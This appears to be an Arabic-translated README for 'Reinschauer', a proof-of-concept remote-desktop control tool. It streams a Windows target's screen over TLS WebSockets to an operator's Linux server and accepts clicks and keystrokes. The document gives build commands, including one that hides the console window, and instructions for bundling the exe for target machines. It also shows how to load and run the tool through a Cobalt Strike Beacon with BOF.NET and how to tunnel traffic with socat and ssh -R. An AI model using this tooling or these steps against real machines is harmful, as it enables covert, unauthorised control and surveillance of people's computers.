
it is very good

إثبات مفهوم (PoC) للتحكم عن بُعد في أجهزة ويندوز عبر WebSockets. راجع مدونتي للحصول على شرح تفصيلي.


reinschauer بتحويل الصور النقطية الخام إلى JPEG وضغط البيانات الناتجة قبل إرسالها عبر الشبكة لتقليل حجم الإطار.
server لتوليد ملفات خادم TLS أو استخدام ملفاتك الخاصة.reinschauer-server -h للاطلاع على الخيارات المتاحة.+----------------------------------------------------------------------------------------+
| |
| |
| +----------------------------------------------------+ |
| |#1: Type (Binary or Text) | |
| | Binary: JPG Frame | |
| | | |
| |#2: Text | |
| | ELO (Ping) | |
| | FPS <FPS Count> | |
| | SCL <Scaler Count> | |
| | QUL <JPG Quality> | |
| | LCL X Y (Left Click + Coordinates) | |
| | RCL X Y | |
| | KEY <Char> | xxxxxx |
| xxxxx <--+----------------------------------------------------+--> xxxx xx |
| x xx Websockets via TLS xx x |
| x xxxxxx xxxxxxxxx |
| xxx x xx xx x |
| xxxxxxxx xxxxx xxxxxx |
| x xxxxx |
| xx xx |
| x xx xxx |
| xx xx x xx |
| x xx xx xxx |
| x xx x xx |
| x x xx x |
+----------------------------------------------------------------------------------------+
كيفية البناء؟
>=1.18sudo apt -y install libx11-dev libxcursor-dev xorg-dev libgl1-mesa-dev$ cd client && GOOS=windows GOARCH=amd64 go build
$ cd server && GOOS=linux GOARCH=amd64 go build
لقد أدرجت نسخة مبنية مسبقًا ومستقلة من متغير dotnet في هذا المستودع. إذا كنت تريد بناءه بنفسك، استخدم ملف مشروع Visual Studio لبناء متغير الإصدار x64 Release. إذا لم يحدث ذلك تلقائيًا، فقم بتنزيل حزم NuGet المطلوبة للمشروع عبر Visual Studio. على الأرجح أن نظامك الهدف لا يحتوي على هذه الحزم مثبتة أيضًا، وبالتالي قد تكون ملفات DLL مفقودة عند تنفيذ ملف exe الناتج على الهدف. للتغلب على هذا، يستدعي هذا المشروع تلقائيًا ILMerge.exe لتجميع ملف exe الناتج مع المكتبات المطلوبة. لذلك، استخدم الملف المُنشأ المسمى reinschauer-dotnet-standalone.exe على الأجهزة الهدف.
قد تحتاج إلى تشغيل
go getلبعض الحزم مسبقًا. استخدم-ldflags -H=windowsguiلتعطيل نافذة وحدة التحكم.
من هو العميل/الخادم؟
يتم تنفيذ
clientعلى الجهاز الهدف (ويندوز). يتم تنفيذ مكوّنserverعلى جهاز المختبر (لينكس). يستمع على0.0.0.0:6969افتراضيًا. كل من عميل Golang وعميل C# متوافقان مع الخادم.
هل هذا HVNC / سطح مكتب مخفي؟
لا. يستخدم نفس سطح المكتب الذي يستخدمه المستخدم.
بعض المفاتيح ومجموعات المفاتيح لا تعمل، من فضلك أصلحها
أعلم أن | و@ و§ قد لا تعمل حاليًا، على الأقل على لوحة المفاتيح الألمانية الرديئة لدي. من فضلك أصلحها.
العميل يستهلك الكثير من وقت المعالج (CPU)
قد ينجح استخدام قيمة FPS أقل.
ليس لدي اتصال مباشر بين client وserver
يمكنك استخدام CobaltStrike Beacon لتوجيه حركة المرور.
ليس لدي Cobaltstrike!
استخدم معيد توجيه
socatمثل:
socat TCP4-LISTEN:1337,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>
وابدأ تشغيل العميل بالمعاملات المطلوبة أو قم بترميزها بشكل ثابت (hardcode).
أولاً، قم بإعداد BOF.NET وفقًا للدليل. أيضًا، قم بتحميل ملف exe المستقل باستخدام bofnet_load <Path to Exe>. ثم قرر كيفية استخدام Reinschauer:
sleep 0.rportfwd_local 6969 127.0.0.1 6969.bofnet_job reinschauer_dotnet.BofStuff. يؤدي هذا تلقائيًا إلى اتصال Reinschauer بـ 127.0.0.1:6969 على 127.0.0.1 للجهاز الهدف. يؤدي هذا أيضًا إلى تعطيل TLS، لأنه يستخدم اتصال Beacon على أي حال.bofnet_jobkill <Job ID>.bofnet_job reinschauer_dotnet.BofStuff <Server IP> <Server Port> true. تمكّن المعامل المنطقي (boolean) استخدام TLS.bofnet_jobkill <Job ID>.ثم استخدم SSH وميزة GatewayPorts: أضف GatewayPorts: clientspecified إلى sshd_config وأعد تشغيل خادم SSH. بعد ذلك، ssh -R '0.0.0.0:8080:localhost:6969'' [...] سيجعل منفذك المحلي 6969 متاحًا على 0.0.0.0:8080. كن حذرًا :)
أو قم بإعداد معيد توجيه socat على الخادم:
socat TCP4-LISTEN:<Server Port>,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>